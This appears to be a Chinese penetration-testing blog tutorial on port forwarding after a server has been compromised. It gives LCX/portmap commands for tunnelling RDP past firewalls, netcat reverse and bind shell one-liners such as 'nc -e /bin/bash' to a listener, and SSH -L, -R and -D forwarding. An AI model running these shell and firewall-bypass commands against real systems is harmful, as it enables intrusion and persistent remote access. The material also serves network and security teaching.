一文了解端口转发

内网端口转发
应用场景:当你拿到一个网站的shell,然后提权,以及各种的一些操作,当你想开启目标服务器的远程桌面时,然而他却处于内网的服务器中,有什么办法实现呢?
这里就要运用到端口转发了。
端口转发技术,用于允许外部备使用私人电脑服务网络。

  1. 对于防火墙禁止访问某些端口的问题,比如3389端口,我们可以将利用机器的3000端口做端口转发,从外界接受数据,转发给本机的3389端口,从而绕过防火墙。
  2. 对于无法访问内网特定机器的问题,我们可以先抓取内网一台机器,然后利用这台弱鸡进行端口转发,接受外网的数据,将数据转发到内网目标机器的特定端口

我们先来了解下正向代理和反向代理
A------B--------C

正向代理:A不能够直接访问访问目标C,需要走代理,通过一个能访问目标的中转站做代理服务器B,告诉这个代理服务器B,我需要访问C的内容,代理服务器B去访问C的内容然后返回来A,实际C是不知道有A的存在的。

反向代理:正好与正向代理相反、C主动连接到代理服务器B,对于C而言,并不知道发生了代理,代理服务器B对外表现为目标服务器A,即隐藏了真实的服务器
通常防火墙会过滤外部的主动连接、但不阻止内部对外发出的主动连接

当B作为正向代理时,就在A上运行命令,通过B去访问C,并把结果返回给A。

Lhost---->proxy----->Rhost

当B作为反向代理时,B主动与A建立端口联系,并将A的端口转为对C的端口的访问,并把返回的结果给A。

Lhost<----->proxy<----->firewall<----->Rhost

比较:

  • 正向代理是LHOST主动连接、反向代理是RHOST主动连接
  • 正向代理代理的是客户端、反向代理代理的是服务器端
  • 正向代理能够隐藏客户端、而反向代理隐藏服务器端
  • 反向代理能够突破防火墙的限制

本地实验内网ip:192.168.85.5 公网ip:192.168.85.7

一,LCX

lcx.exe是一个端口转发工具。其主要的两个功能是:端口转发和端口映射。
内网主机上执行:lcx.exe –slave 公网主机ip 公网主机端口 内网主机ip 内网主机端口
例如:

windows: lcx.exe -slave 192.168.85.7 2333 192.168.85.7 3389
linux:portmap -m 3 -h1 192.168.85.7 -p1 2333 -h2 192.168.85.7 -p2 3389

意思是将内网主机的端口3333转发到公网的主机的端口3389

公网主机上进行监听:lcx.exe –listen 公网主机端口1 公网主机端口2
例如:

lcx.exe -listen 2333 3333
portmap -m 2 -p1 2333 -p2 5555

监听公网主机的2333端口请求,并将对2333端口的请求转送给3389

后直接访问公网ip设定的端口3333,即可转发到内网的3389端口。

特殊情况:由于防火墙限制,部分端口如3389无法通过防火墙,此时可以将该目标主机的3389端口透传到防火墙允许的其他端口,如53端口.
目标主机上执行:lcx -tran 53 目标主机ip 3389
这时我们可以直接远程桌面连接到到 目标主机IP:53

NC反弹

正向连接
如果nc带有-e选项可以直接使用
在内网主机上绑定shell

 nc -e cmd.exe 192.168.85.7 777

在公网主机上运行

nc -l -p 777

意思是让内网主机将cmd.exe主动响应到公网主机的777端口。
 
如果没有-e选项

cat /tmp/fifo | nc 192.168.85.5 8000 | nc -l 9000 > /tmp/fifo 

在公网主机(192.168.85.7)上连接内网主机的192.168.85.5的9000端口。

nc -n 192.168.85.5 9000 

反向连接
在公网主机(192.168.85.7)上进行监听

nc -lvp 4444

在内网主机(192.168.85.5)上执行下面命令,将shell反弹给公网(192.168.85.7)

nc -e /bin/bash 192.168.85.7 8888

SSH

ssh常用参数

-C:压缩数据传输
-f:后台认证账号/密码
-N:不执行脚本或命令,通常与-f连用
-g:允许远程主机连接到建立转发的端口
-L port:host:hostport:将客户机的某个端口转发到远端指定机器的指定端口
###IPv6格式: –L port/host/hostport
-R port:host:hostport:将远程主机的某个端口转发到本地端指定机器的指定端口
###IPv6格式: –R port/host/hostport
-D port:指定一个本地机器 ‘动态的’ 应用程序端口转发

ssh本地端口转发

应用场景:假定host1是本地主机,host2是远程主机。由于种种原因,这两台主机之间无法连通。但是,另外还有一台host3,可以同时连通前面两台主机。因此,很自然的想法就是,通过host3,将host1连上host2。

在host1上执行:ssh -L 2121:host2:21 host3 分别是"本地端口:目标主机:目标主机端口"

意思是:指定SSH绑定本地端口2121,然后指定host3将所有的数据,转发到目标主机host2的21端口

后只要连接上host1的2121端口,就连上了host2的21端口

ftp localhost:2121

远程端口转发
绑定远程端口转发

场景:host1与host2之间无法连通,必须借助host3转发。但是,特殊情况出现了,host3是一台内网机器,它可以连接外网的host1,但是反过来就不行,外网的host1连不上内网的host3。这时,"本地端口转发"就不能用了,怎么办?
解决办法是,既然host3可以连host1,那么就从host3上建立与host1的SSH连接,然后在host1上使用这条连接就可以了。\

我们在host3执行下面的命令:ssh -R 2121:host2:21 host1
R参数也是接受三个值,分别是"远程主机端口:目标主机:目标主机端口"。这条命令的意思,就是让host1监听它自己的2121端口,然后将所有数据经由host3,转发到host2的21端口。由于对于host3来说,host1是远程主机,所以这种情况就被称为"远程端口绑定"。

后我们在host1就可以连接host2了:ftp localhost:2121
"远程端口转发"的前提条件是,host1和host3两台主机都有sshD和ssh客户端。

动态端口转发

对于本地端口转发和远程端口转发,都存在两个一一对应的端口,分别位于SSH的客户端和服务端,而动态端口转发则只是绑定了一个本地端口,而目标地址:目标端口则是不固定的。目标地址:目标端口是由发起的请求决定的,比如,请求地址为192.168.85.5:1080,则通过SSH转发的请求地址也是192.168.85.5:1080

ssh -D [local host:]<local port> user@ssh-server

工作原理:
本地机器上分配了一个 socket 侦听 端口, 一旦这个端口上有了连接, 该连接就经过ssh安全通道转发出去, ssh-sever根据你本地机器程序访问的远程主机和端口进行转发出去。支持 socks协议, 将充当 socks 服务器。

其实和-L参数原理差不多,最大的不同是,本地端口转发是将TCP流量转发到固定远程主机的固定端口上,而动态端口转发则根据socks协议转发到动态的ip和端口(使用socks需要设置代理)。

参考文章:http://www.zerokeeper.com/experience/network-port-forwarding-and-penetration.html

https://hatboy.github.io/2018/08/28/%E5%86%85%E7%BD%91%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91%E5%8F%8A%E7%A9%BF%E9%80%8F/#

https://blog.csdn.net/l_f0rm4t3d/article/details/24004555
http://www.ruanyifeng.com/blog/2011/12/ssh_port_forwarding.html

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值